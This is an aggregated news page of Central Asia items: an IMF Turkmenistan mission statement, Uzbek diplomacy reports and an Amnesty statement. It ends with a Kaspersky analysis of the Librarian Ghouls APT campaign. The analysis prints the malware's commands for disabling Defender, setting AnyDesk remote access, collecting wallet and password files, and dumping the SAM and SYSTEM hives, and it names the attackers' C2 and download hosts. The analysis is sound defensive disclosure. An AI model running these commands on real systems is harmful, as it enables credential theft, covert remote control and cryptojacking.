Category: Central Asia

MIL-OSI Russia: IMF Staff Completes 2025 Article IV Mission to Turkmenistan

Source: IMF – News in Russian

June 10, 2025

End-of-Mission press releases include statements of IMF staff teams that convey preliminary findings after a visit to a country. The views expressed in this statement are those of the IMF staff and do not necessarily represent the views of the IMF’s Executive Board. Based on the preliminary findings of this mission, staff will prepare a report that, subject to management approval, will be presented to the IMF’s Executive Board for discussion and decision.

Growth slowed in 2024 due to weak hydrocarbon exports. The main economic challenge is to translate hydrocarbon wealth into more diversified, sustainable, and inclusive growth.
A more market-based strategy, reforms to the monetary and exchange rate frameworks, increased public spending efficiency, and enhanced governance and transparency would support the transition to a more diversified and robust economy.
Further improvements in the availability, quality, and reliability of economic statistics would help inform policy makers and increase transparency and credibility.

Washington, DC: An International Monetary Fund (IMF) mission led by Ms. Anna Bordon visited Ashgabat during May 21-June 3, 2025. The purpose of the visit was to review the country’s economic landscape, including its financial developments, economic outlook, risks, and policies aimed at promoting diverse, inclusive, and sustainable growth. The mission met with senior government officials, representatives of the private and financial sectors, and the diplomatic community. At the end of the visit, Ms. Bordon issued the following statement:

“Economic activity moderated in 2024, and inflation softened in recent months. IMF staff estimate that growth slowed to 3.0 percent in 2024 from 4.5 percent in 2023, owing to weak hydrocarbon exports. Inflation decelerated from 3.8 percent at end 2024 to 1.1 percent in March 2025 owing to a sharp slowdown in food inflation combined with deflation in non-food items and low inflation in services. Credit growth and monetary conditions have been tighter since the second half of 2023, while the parallel market exchange rate has remained broadly stable. The current account surplus narrowed from 5.9 percent of GDP in 2023 to 4.4 percent in 2024.

“Looking ahead the economy is expected to expand at around 2.3 percent in 2025 and over the medium term. Hydrocarbon exports growth is expected to be negative in 2025, but to gradually pick up to around 2 percent over the medium term while non-hydrocarbon growth is expected to remain subdued, given the challenging business environment, investment inefficiencies, significant real exchange rate overvaluation, and protectionism. Inflation is projected to pick up gradually over the medium term due to looser monetary conditions, returning to its recent historical average of 8 percent, which is primarily fueled by the long-standing policy of increasing public sector wages and pensions by 10 percent annually. The external position is projected to gradually deteriorate, shifting from a surplus to a deficit, driven by lower hydrocarbon prices, declining oil exports, and an overvalued currency. Rising wages are also expected to fuel import demand, further weakening the trade balance. Risks to the outlook remain tilted to the downside.

“The nonhydrocarbon primary balance improved in 2024, with higher revenues more than offsetting an increase in capital spending. Looking ahead, the deficit is anticipated to narrow further over the medium term, with capital spending expected to moderate. To leverage this positive trajectory, it is crucial for Turkmenistan to focus its spending on enhancing physical and human capital. This will require improving spending efficiency and public investment management, transitioning towards performance-based public wage increases, and reforming state-owned enterprises (SOEs).

“Strengthening fiscal reporting and public financial management (PFM) should be a top priority. Turkmenistan should expedite the implementation of medium-term budgeting, establishment of a single treasury account, and the expansion of fiscal reporting coverage. Reforming SOEs is also pivotal in managing fiscal risks, enhancing fiscal transparency, and fostering private sector development by reducing the state footprint.

“The Central Bank of Turkmenistan (CBT) should focus on price and financial stability. Until recently, the CBT had typically kept monetary policy loose to support the government’s long-term development objectives. Since the second half of 2023, however, CBT net lending to banks has slowed considerably, owing to SOE repayments. Going forward, commercial bank lending for development purposes, if needed, should be supported by the state budget, and not by the CBT. The CBT should also modernize its central bank operations and accelerate its efforts to strengthen financial regulation, supervision, and crisis management.

“Unifying the exchange rates would support Turkmenistan’s diversification objectives and reduce economic distortions and governance vulnerabilities. Turkmenistan should consider a significant upfront adjustment of the official exchange rate combined with sufficiently tight macroeconomic policies, a clear communication strategy, and enhanced social benefits to protect the most vulnerable. Post-adjustment, the devalued official exchange rate can remain the monetary anchor, with the CBT ready to provide FX to meet demand. Exchange restrictions on current international transactions should also be eliminated, to create a level-playing field, improve efficiency, and alleviate FX shortages. The adjustment measures and supporting reforms need to be sequenced carefully, while recognizing inherent uncertainties.

“Turkmenistan is adequately prioritizing economic diversification. A pre-requisite for diversification is macroeconomic stability, including as a core element the unification of the exchange rates and elimination of exchange restrictions. Moving away from a centrally planned economy will require continued efforts to liberalize prices and reduce the state footprint to allocate resources more efficiently. A more market-oriented economy will also require improving governance, skills, infrastructure, digitalization, and logistics while accelerating the efforts toward WTO accession.

“Further improvements in the availability, quality, and reliability of economic statistics would help inform policy makers and increase transparency and credibility.

“The IMF team is grateful to the authorities and other stakeholders for their warm hospitality and insightful and candid discussions.”

Turkmenistan: Selected Economic and Financial Indicators, 2022–26


	Est.	Est.	Est.	Proj.	Proj.
	2022	2023	2024	2025	2026

Output and prices	(Annual percentage change)
Real GDP 1/	3.0	4.5	3.0	2.3	2.3
Real hydrocarbon GDP	-6.4	-0.6	-10.6	-2.6	1.8
Real nonhydrocarbon GDP	5.2	5.6	5.7	3.0	2.3
Consumer prices (end of period)	3.0	1.4	3.8	4.0	6.0
Consumer prices (period average)	11.2	-1.6	4.6	3.9	5.0

Investment and savings	(In percent of GDP)
Gross investment	18.2	17.0	16.0	13.0	12.9
Of which: State budget	0.5	0.9	1.6	0.7	0.7
Gross savings	27.9	22.9	20.4	15.1	13.3

Fiscal sector	(In percent of GDP)
Overall fiscal balance 2/	3.4	0.1	-0.1	0.3	-0.3
Revenue	16.4	13.8	14.4	14.1	13.7
Expenditure	13.0	13.7	14.5	13.8	14.1
Total public debt 3/	7.9	5.8	3.6	3.3	3.1

Monetary sector	(12-month percent change, unless otherwise indicated)
Credit to the economy 4/	8.2	0.3	2.2	5.4	5.9
Credit to GDP ratio	58.6	53.1	49.6	49.9	49.6
Broad money, incl. foreign currency deposits at CBT	-2.6	-2.5	10.1	5.3	6.7

External sector	(In percent of GDP, unless otherwise indicated)
Exports of goods (In millions of US$)	14,727	12,963	12,168	11,218	11,068
Imports of goods (In millions of US$)	7,188	7,401	7,665	8,407	9,085
Current account balance	9.7	5.9	4.4	2.1	0.4
Foreign direct investment	2.0	0.9	0.4	0.0	0.0
Total public sector external debt	7.9	5.8	3.6	3.3	3.1

Memorandum items:
Nominal GDP (in millions of manat)	198,371	219,848	240,363	251,884	268,110
Nominal GDP (in millions of US$)	56,677	62,814	68,675	71,967	76,603


Sources: Turkmen authorities; and Fund staff estimates and projections.
1/ Staff uses its own GDP estimates given that the narrative underlying the official GDP growth estimates is hard to reconcile with other available data. In particular, official GDP growth is extremely stable, despite shocks, including the pandemic.
2/ Excluding receipts from government bond issuance and privatization proceeds.
3/ Includes domestic state government debt and external public and publicly guaranteed debt.
4/ Including credit to SOEs.

IMF Communications Department

MEDIA RELATIONS

PRESS OFFICER: Mayada Ghazala

Phone: +1 202 623-7100Email: MEDIA@IMF.org

https://www.imf.org/en/News/Articles/2025/06/10/pr-25190-turkmenistan-imf-completes-2025-article-iv-mission

MIL OSI

MIL OSI Russia News –

June 11, 2025

MIL-OSI Russia: Over 90% of Central Asians Have Positive Impressions of China – Poll

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

BEIJING, June 10 (Xinhua) — More than 90 percent of Central Asians have positive impressions of China, according to a survey conducted by researchers from Lanzhou University from April 1 to May 15 this year in Kazakhstan, Kyrgyzstan, Tajikistan, Turkmenistan and Uzbekistan.

As the joint construction of the Belt and Road continues to advance, the importance of Central Asia is becoming more obvious amid the rapid changes in the international structure, according to a press conference held recently at Lanzhou University on the report on China’s image in Central Asia.

According to the report, China’s overall image in Central Asia shows a positive development trend. Residents of the region have high hopes for promising cooperation with China in the field of scientific and technological innovation and the development of new quality productive forces.

The purpose of the survey, as reported on the official website of Lanzhou University, is to analyze and evaluate the results of friendly cooperation between China and the five Central Asian states.

“It is of particular value that Central Asians deeply agree with the concept of a community with a shared future for China and Central Asia, which brings positive energy to the stable joint construction of the Belt and Road,” said Sha Yongzhong, vice-president of Lanzhou University, at a press conference.

The China Central Asia Image Research Report was developed by the China Central Asia Big Data Institute of Lanzhou University. The survey participants were residents of five Central Asian countries aged 18 to 65. More than a thousand valid questionnaires were received in Chinese, English and Russian.

According to the report, more than 90 percent of respondents view China as “a country that has contributed to global development” and “a responsible country that actively participates in world affairs.”

A similar number of respondents believe that China has had a “very large” or “quite large” positive influence on the development of their countries’ economies. More than 96.2 percent of Central Asians positively assess China’s role in the development of their countries in the energy and infrastructure sectors.

“I hope that the publication of this report will provide new opportunities to stimulate friendly interaction between China and Central Asian countries, especially in the fields of education, culture and tourism,” said Chen Yiyi, deputy director of the institute, in an interview with the Zhongxinshe news agency. -0-

MIL OSI Russia News –

June 11, 2025
MIL-OSI Russia: The President of Uzbekistan has defined the priorities of partnership with the New Development Bank

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

Tashkent, June 10 (Xinhua) — Uzbek President Shavkat Mirziyoyev received BRICS New Development Bank President Dilma Rousseff, the press service of the Uzbek leader reported on Monday.

“On June 9, President of the Republic of Uzbekistan Shavkat Mirziyoyev received President of the BRICS New Development Bank Dilma Rousseff, who arrived in our country to participate in the events of the Tashkent International Investment Forum,” the statement said.

As reported, issues of developing practical cooperation with this multilateral financial institution were discussed. The consistent implementation of the agreements reached on the sidelines of the BRICS summit in October last year was noted with satisfaction.

“Thus, the Board of Governors of the Bank gave its fundamental consent to Uzbekistan joining the member countries of the New Development Bank. A program of priority joint projects worth 5 billion dollars has been formed,” the statement says.

“The head of our state emphasized the importance of the speedy preparation and implementation of projects in such priority areas as the modernization of irrigation systems, the development of the mining industry, financing the private sector, and the promotion of public-private partnership projects in the areas of education and infrastructure,” it added.

It is noted that support was also expressed for the implementation of large regional infrastructure projects. –0–

MIL OSI Russia News –

June 10, 2025
MIL-OSI NGOs: USA: Trump’s travel ban is ‘discriminatory, racist, and downright cruel’

Source: Amnesty International –

The order restricts citizens from Afghanistan, Chad, the Republic of Congo, Equatorial Guinea, Eritrea, Haiti, Iran, Libya, Myanmar, Somalia, Sudan and Yemen

Partial travel ban on people from Burundi, Cuba, Laos, Sierra Leone, Togo, Turkmenistan, and Venezuela

‘This blanket ban constitutes racial discrimination under international human rights law’ – Agnès Callamard

In response to President Trump imposing a new discriminatory travel ban, Agnès Callamard, Amnesty International’s Secretary General, said:

“President Trump’s new travel ban is discriminatory, racist, and downright cruel. By targeting people based on their race, religion, or nationality, from countries with predominantly Black, Brown and Muslim-majority populations, this blanket ban constitutes racial discrimination under international human rights law. It also spreads hate and disinformation, reinforcing the misleading idea that certain populations are more likely to pose security risks or engage in acts of violence.

“This arbitrary travel ban also violates the right to seek and enjoy asylum from persecution and the US obligation to protect them under international and national refugee law. With the right to seek asylum already non-existent at US borders, it will further inflict terrible suffering on people who are fleeing war-torn regions, massive human rights violations and other dangerous situations and seeking safety in the United States.

“This travel ban is no different than the ones that President Trump put into place in his first term. It is based on racism and xenophobia and has nothing to do with national security or keeping anyone safe.

“Through targeting and detaining immigrants for exercising their right to free speech, separating families, mass deportations and more, President Trump’s actions have already put tens of millions of people in the United States at risk. And now, this travel ban is yet another iteration of the Trump administration’s persistent trampling on the rights of immigrants and those seeking safety.

“Communities thrive when governments prioritise the safety of all people, regardless of nationality, religion, or race. Amnesty International will never stop fighting for a world in which everybody is treated with dignity, immigrants and people seeking safety are welcomed and recognised for their contributions to society, and communities are united.”

MIL OSI NGO –

June 10, 2025
MIL-OSI Economics: Samarkand 2026: ADB’s 59th Annual Meeting in the Heart of History

Source: Asia Development Bank

Uzbekistan will host the Asian Development Bank’s (ADB) 59th Annual Meeting on 3 to 6 May 2026. The meeting will be held in the historic city of Samarkand, one of the oldest continuously inhabited cities in the world. This is the second time that Uzbekistan will host the ADB Annual Meeting, following the successful 43rd Annual Meeting in Tashkent in 2010.

MIL OSI Economics –

June 10, 2025
MIL-OSI Europe: OSCE organizes study trip to Finland for representatives of the Graduate School of Business and Entrepreneurship

Source: Organization for Security and Co-operation in Europe – OSCE

Headline: OSCE organizes study trip to Finland for representatives of the Graduate School of Business and Entrepreneurship

Meeting at the Helsinki Region Chamber of Commerce (OSCE) Photo details

From 2 to 6 June, the OSCE Project Co-ordinator in Uzbekistan (PCUz) organized a study visit to Finland for a delegation from the Graduate School of Business and Entrepreneurship under the Cabinet of Ministers of Uzbekistan. The visit aimed at deepening institutional knowledge on sustainable development, green economy policies and educational innovation.
The programme included a series of meetings with Finnish governmental bodies, educational institutions and business associations to explore Finland’s successful integration of sustainability into governance, education and entrepreneurship.
During the visit, the Uzbek delegation met with key Finnish institutions including the Finnish Institute of Public Management (HAUS), the Finnish Association of Entrepreneurs, Aalto and Metropolia universities and the Helsinki Region Chamber of Commerce, amongst other partners.
Discussions focused on integrating sustainability into public administration, supporting green entrepreneurship and embedding green economy principles into education and training.
The programme also featured site visits to the city of Lahti, highlighting Finland’s circular economy and waste management practices, offering practical insights into how government, academia and the private sector collaborate to promote sustainable development.
The study trip is a continuation of the PCUz’s support of Uzbekistan’s green transition and ongoing collaboration with the Graduate School of Business and Entrepreneurship in improving its curriculum and best practices.

MIL OSI Europe News –

June 10, 2025
MIL-OSI Russia: President of Uzbekistan held a meeting with the Prime Minister of Slovakia

Translation. Region: Russian Federal

Source: People’s Republic of China in Russian – People’s Republic of China in Russian –

Source: People’s Republic of China – State Council News

Tashkent, June 10 (Xinhua) — Uzbek President Shavkat Mirziyoyev and Slovakian Prime Minister Robert Fico held a meeting, the press service of the Uzbek leader reported on Monday.

“On June 9, negotiations were held at the Kuksaroy residence between the President of the Republic of Uzbekistan Shavkat Mirziyoyev and the Prime Minister of the Slovak Republic Robert Fico,” the statement said.

As reported, current issues of further development of practical cooperation between Uzbekistan and Slovakia were discussed. At the beginning of the meeting, the leader of Uzbekistan particularly emphasized that the current visit opens a qualitatively new stage in the history of Uzbek-Slovak multifaceted relations.

It is noted that special attention was paid to issues of increasing trade turnover, primarily by expanding the range of mutual deliveries. “We are talking about deliveries from Uzbekistan of textile, agricultural, electrical, chemical products, polymers, and from Slovakia – rubber, auto components, pharmaceuticals, and other industrial goods,” the report says.

In conclusion, an agreement was reached that, in order to ensure timely and high-quality implementation of the decisions and agreements made, the governments of the two countries will adopt a comprehensive “road map.” –0–

MIL OSI Russia News –

June 10, 2025
MIL-OSI China: Youth leaders gather for World Youth Energy Partner Dialogue

Source: People’s Republic of China – State Council News

International youth leaders and experts gathered for the World Youth Energy Partner Dialogue on June 8 as part of the World Youth Energy Tour (WYET) 2025, exchanging views on critical topics like energy transition and international cooperation in renewable energy.

The event, co-hosted by China International Communications Group (CICG) and CHN Energy Investment Corporation (CHN Energy), brought together 14 youth leaders from eight countries to discuss cross-cultural perspectives and innovative solutions for building a multilateral, collaborative and tech-driven paradigm for sustainable energy development.

Participants in the World Youth Energy Tour (WYET) 2025 pose for a group picture, June 8, 2025. [Photo provided to China.org.cn]

“Youth are the architects, not just beneficiaries, of the energy transition,” said Kevin Tu, managing director of Agora Energy China and leading spokesperson of the event. “China’s experience proves young innovators drive breakthroughs, from AI-powered grids to offshore wind megaprojects.”

The attending youth leaders also shared their insights on the event and energy issues through engaging picture stories, highlighting their unique experiences and innovative ideas.

Participants in the World Youth Energy Tour (WYET) 2025 watch a presentation, June 8, 2025. [Photo provided to China.org.cn]

“Crisis cannot be overcome alone. Crisis needs teamwork,” noted Jose Renato Peneluppi, a Brazilian lawyer specializing in development policies and energy transition. He spoke highly of China’s energy progress in recent years and expressed hope for future energy collaboration between China and Brazil.

Kaldybayev Dastan, a PhD student from Kazakhstan at Tsinghua University, praised China’s efforts in green infrastructure and its wind and solar power capacity. “The future of energy is green, smart and global. Together through collaboration and innovation, we can build the future,” he added.

“I’m so grateful that China has supported us like our older brother. I’m so amazed and happy to see China is working very hard, leading globally in green initiatives,” said Umer Farooq Sansi, CEO of the Hunan Sansi Group and a contributor to China-Pakistan relations.

MIL OSI China News –

June 10, 2025

MIL-OSI Economics: Sleep with one eye open: how Librarian Ghouls steal data by night

Source: Securelist – Kaspersky

Headline: Sleep with one eye open: how Librarian Ghouls steal data by night

Introduction

Librarian Ghouls, also known as “Rare Werewolf” and “Rezet”, is an APT group that targets entities in Russia and the CIS. Other security vendors are also monitoring this APT and releasing analyses of its campaigns. The group has remained active through May 2025, consistently targeting Russian companies.

A distinctive feature of this threat is that the attackers favor using legitimate third-party software over developing their own malicious binaries. The malicious functionality of the campaign described in this article is implemented through command files and PowerShell scripts. The attackers establish remote access to the victim’s device, steal credentials, and deploy an XMRig crypto miner in the system.

Our research has uncovered new tools within this APT group’s arsenal, which we will elaborate on in this article.

Technical details

Initial infection vector

Attacks by Librarian Ghouls continued almost unabated throughout 2024. We observed a slight decline in the group’s activity in December, followed immediately by a new wave of attacks, which is ongoing. The group’s primary initial infection vector involves targeted phishing emails that contain password-protected archives with executable files inside. These malicious emails are typically disguised as messages from legitimate organizations, containing attachments that appear to be official documents. The infection process is as follows: the victim opens the attached archive (the password is usually provided in the email body), extracts the files inside, and opens them.

We managed to get hold of a malicious implant from an archive disguised as a payment order. The sample is a self-extracting installer made with the Smart Install Maker utility for Windows.

The installer contains three files: an archive, a configuration file, and an empty file irrelevant for our analysis. They are later renamed into data.cab, installer.config and runtime.cab respectively.

The primary malicious logic resides in the installer’s configuration file. It uses a variety of registry modification commands to automatically deploy the legitimate window manager, 4t Tray Minimizer, onto the system. This software can minimize running applications to the system tray, allowing attackers to obscure their presence on the compromised system.

Once 4t Tray Minimizer is installed, the installer pulls three files from data.cab and puts them into the C:Intel directory, specifically at:

File	Name when archived	Path on the infected system
Legitimate PDF as a decoy	0	IntelPayment Order # 131.pdf
Legitimate curl utility executable	1	Intelcurl.exe
LNK file	2	IntelAnyDeskbat.lnk

The PDF decoy resembles an order to pay a minor amount:

PDF document imitating a payment order

rezet.cmd

Once data.cab is unpacked, the installer generates and executes a rezet.cmd command file, which then reaches out to the C2 server downdown[.]ru, hosting six files with the JPG extension. rezet.cmd downloads these to C:Intel, changing their file extensions to: driver.exe, blat.exe, svchost.exe, Trays.rar, wol.ps1, and dc.exe.

driver.exe is a customized build of rar.exe, the console version of WinRAR 3.80. This version has had user dialog strings removed: it can execute commands but provides no meaningful output to the console.
blat.exe is Blat, a legitimate utility for sending email messages and files via SMTP. Attackers use this to send data they steal to an email server they control.
svchost.exe is the remote access application AnyDesk. Attackers use this to remotely control the compromised machine.
dc.exe is Defender Control, which allows disabling Windows Defender.

After downloading the files, the script uses the specified password and the driver.exe console utility to extract Trays.rar into the same C:Intel directory and run the unpacked Trays.lnk. This shortcut allows starting 4t Tray Minimizer minimized to the tray.

Next, the script installs AnyDesk on the compromised device and downloads a bat.bat file from the C2 server to C:IntelAnyDesk. Finally, rezet.cmd runs bat.lnk, which was previously extracted from data.cab.

bat.bat

Opening the bat.lnk shortcut runs the bat.bat batch file, which executes a series of malicious actions.

Disabling security measures and a scheduled task

First, the BAT file sets the password QWERTY1234566 for AnyDesk, which allows the attackers to connect to the victim’s device without asking for confirmation.

Next, the script uses the previously downloaded Defender Control (dc.exe) application to disable Windows Defender.

To verify that the victim’s computer is on and available for remote connections, the batch file runs the powercfg utility six times with different parameters. This utility controls the local machine’s power settings.

Next, bat.bat runs the schtasks utility to create a ShutdownAt5AM scheduler task, which shuts down the victim’s PC every day at 5 AM as the name suggests. It is our assessment that the attackers use this technique to cover their tracks so that the user remains unaware that their device has been hijacked.

echo QWERTY1234566 | AnyDesk.exe –set-password _unattended_access %SYSTEMDRIVE%Inteldc.exe /D powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0 powercfg -change -standby-timeout-ac 0 powercfg -change -hibernate-timeout-ac 0 powercfg -h off powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1 schtasks /create /tn “ShutdownAt5AM” /tr “shutdown /s /f /t 0” /sc daily /st 05:00

echo QWERTY1234566 | AnyDesk.exe —set–password _unattended_access

%SYSTEMDRIVE%Inteldc.exe /D

powercfg –setacvalueindex SCHEME_CURRENT 4f971e89–eebd–4455–a8de–9e59040e7347 5ca83367–6e45–459f–a27b–476b1d01c936 0

powercfg –change –standby–timeout–ac 0

powercfg –change –hibernate–timeout–ac 0

powercfg –h off

powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8–0aad–41ed–83f4–97be242c8f20 bd3b718a–0680–4d9d–8ab2–e1d2b4ac806d 1

powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8–0aad–41ed–83f4–97be242c8f20 bd3b718a–0680–4d9d–8ab2–e1d2b4ac806d 1

schtasks /create /tn “ShutdownAt5AM” /tr “shutdown /s /f /t 0” /sc daily /st 05:00

Disabling security measures and the power management configuration in bat.bat

Wakeup script and data theft

Next, the batch file executes the wol.ps1 script via PowerShell.

$Action = New-ScheduledTaskAction -Execute “C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe” $Trigger = New-ScheduledTaskTrigger -Daily -At “01:00AM” $Principal = New-ScheduledTaskPrincipal -UserId “SYSTEM” -LogonType ServiceAccount -RunLevel Highest # Creating task settings $TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun # Registering task in Task Scheduler Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName “WakeUpAndLaunchEdge” -Settings $TaskSettings -Force

$Action = New–ScheduledTaskAction –Execute “C:Program Files (x86)MicrosoftEdgeApplicationmsedge.exe”

$Trigger = New–ScheduledTaskTrigger –Daily –At “01:00AM”

$Principal = New–ScheduledTaskPrincipal –UserId “SYSTEM” –LogonType ServiceAccount –RunLevel Highest

# Creating task settings

$TaskSettings = New–ScheduledTaskSettingsSet –AllowStartIfOnBatteries –DontStopIfGoingOnBatteries –StartWhenAvailable –WakeToRun

# Registering task in Task Scheduler

Register–ScheduledTask –Action $Action –Principal $Principal –Trigger $Trigger –TaskName “WakeUpAndLaunchEdge” –Settings $TaskSettings –Force

Contents of the “wol.ps1” script

This script launches Microsoft Edge every day at 1 AM. We found no evidence of msedge.exe being replaced or compromised, leading us to believe it is a genuine Microsoft Edge executable. This daily browser activation wakes the victim’s computer, giving attackers a four-hour window to establish unauthorized remote access with AnyDesk before the scheduled task shuts the machine down at 5 AM.

Following the execution of the PowerShell script, bat.bat removes the curl utility, the Trays.rar archive, and the AnyDesk installer. The attackers no longer need these components: at this stage of the infection, all necessary malicious files and third-party utilities have been downloaded with curl, Trays.rar has been unpacked, and AnyDesk has been installed on the device.

After that, the batch file sets environment variables for Blat. These variables contain, among other things, the email addresses where the victim’s data will be sent and the passwords for these accounts.

The next step is to collect information stored on the device that is of interest to the attackers:

Cryptocurrency wallet credentials and seed phrases
Dumps of the HKLMSAM and HKLMSYSTEM registry keys made with reg.exe

%SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*парол*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*карт*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*кошельк*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:wallet.dat /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*wallet*.doc* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*wallet*.txt /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*seed*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:keystore.json /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*bitcoin*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*usdt*.* /y %SYSTEMDRIVE%Inteldriver.exe a -r -[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*ethereum*.* /y reg save hklmsam %SYSTEMDRIVE%Intelsam.backup reg save hklmsystem %SYSTEMDRIVE%Intelsystem.backup

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*парол*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*карт*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*кошельк*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:wallet.dat /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*wallet*.doc* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*wallet*.txt /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*seed*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:keystore.json /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*bitcoin*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*usdt*.* /y

%SYSTEMDRIVE%Inteldriver.exe a –r –[REDACTED] %SYSTEMDRIVE%Intelwallet.rar C:*ethereum*.* /y

reg save hklmsam %SYSTEMDRIVE%Intelsam.backup

reg save hklmsystem %SYSTEMDRIVE%Intelsystem.backup

Data collection by bat.bat

The BAT file uses driver.exe to pack data it has collected into two separate password-protected archives. Then, the script runs blat.exe to send the victim’s data and AnyDesk configuration files to the attackers via SMTP.

Miner installation and self-deletion

Next, bat.bat deletes the files generated during the attack from the C:Intel folder and installs a crypto miner on the compromised system. To do this, the script creates a bm.json configuration file containing the mining pool address and the attackers’ identifier, and then downloads install.exe from hxxp://bmapps[.]org/bmcontrol/win64/Install.exe.

install.exe is an installer that checks for the JSON configuration file and the bmcontrol.exe process in the system. If the process is detected, the installer terminates it.

Then, install.exe downloads an archive with mining tools from hxxps://bmapps[.]org/bmcontrol/win64/app-1.4.zip.

The archive contains the following files:

_install.exe: a new version of the installer. While the samples in the attacks we analyzed were identical, we suspect the attackers have a scenario for updating the malware.
bmcontrol.exe: miner controller
run.exe, stop.cmd, uninstall.cmd: tools for starting, stopping, and removing the controller
XMRig miner

Depending on the parameters of the JSON file, the unmodified original installer file is used, or _install.exe is renamed to install.exe and run. After that, the installer adds run.exe to autorun. This utility checks for an already running bmcontrol.exe controller on the compromised system, and if it doesn’t find one, runs it from the downloaded archive.

Once running, bmcontrol.exe creates two processes: master and worker. The master process launches and constantly monitors the worker, and also restarts it if the latter quits unexpectedly. In addition, the master passes the JSON configuration file to the worker process.

Before launching the XMRig miner, the worker process collects the following system information:

Available CPU cores
Available RAM
GPU

This data is used to configure the miner on the compromised device and also sent to the attackers’ server. While XMRig is running, the worker maintains a connection to the mining pool, sending a request every 60 seconds.

After installing the miner on the system, bat.bat removes itself from the victim’s device.

Legitimate software utilized by the attackers

It is a common technique to leverage third-party legitimate software for malicious purposes (T1588.002), which makes detecting and attributing APT activity more difficult. We have seen this pattern in current campaigns by various APT groups, in particular in the Likho cluster.

Beyond the utilities discussed above, we also identified the following software in Librarian Ghouls attacks:

Mipko Personal Monitor: a DLP system that the attackers use to monitor the victim. The application can collect screenshots and record keystrokes among other things.
WebBrowserPassView: a password recovery utility that can extract passwords stored in web browsers. The attackers use this to steal victims’ credentials.
ngrok: a global reverse proxy that secures and accelerates network services. Used by the attackers to connect to target machines.
NirCmd: a legitimate utility that facilitates various OS tasks without a visible user interface. The attackers use this to covertly run scripts and executables.

Phishing campaign

Our investigation revealed several domains that we assess with low confidence to be associated with the ongoing Librarian Ghouls campaign. At the time of the investigation, some of them remained active, including users-mail[.]ru and deauthorization[.]online. These domains hosted phishing pages, generated with PHP scripts and designed to harvest credentials for the mail.ru email service.

Example of a phishing page associated with the APT campaign

Infrastructure

The implant detailed in this article communicated with the command-and-control servers downdown[.]ru and dragonfires[.]ru. Both resolve to the IP address 185.125.51[.]5.

Our analysis of the attackers’ infrastructure revealed a notable characteristic: several malicious web servers associated with this campaign had directory listing enabled, allowing us to inspect files they stored.

Directory listing on a malicious server

Victims

Our telemetry indicated that, during the investigation period, hundreds of Russian users fell victim to this campaign. It primarily focuses on industrial enterprises, with engineering schools also being a target of interest. Furthermore, the attacks described also impacted users in Belarus and Kazakhstan.

The phishing emails are notably composed in Russian and include archives with Russian filenames, along with Russian-language decoy documents. This suggests that the primary targets of this campaign are likely based in Russia or speak Russian.

About the attackers

Librarian Ghouls APT exhibits traits commonly associated with hacktivist groups, such as the use of self-extracting archives and a reliance on legitimate, third-party utilities rather than custom-built malware binary modules.

Since the beginning of the current campaign in December 2024, we have seen frequent updates to the implants, which vary in configuration files and the bundled sets of legitimate utilities. At the time of publishing this, our data encompassed over 100 malicious files connected to this campaign.

Takeaways

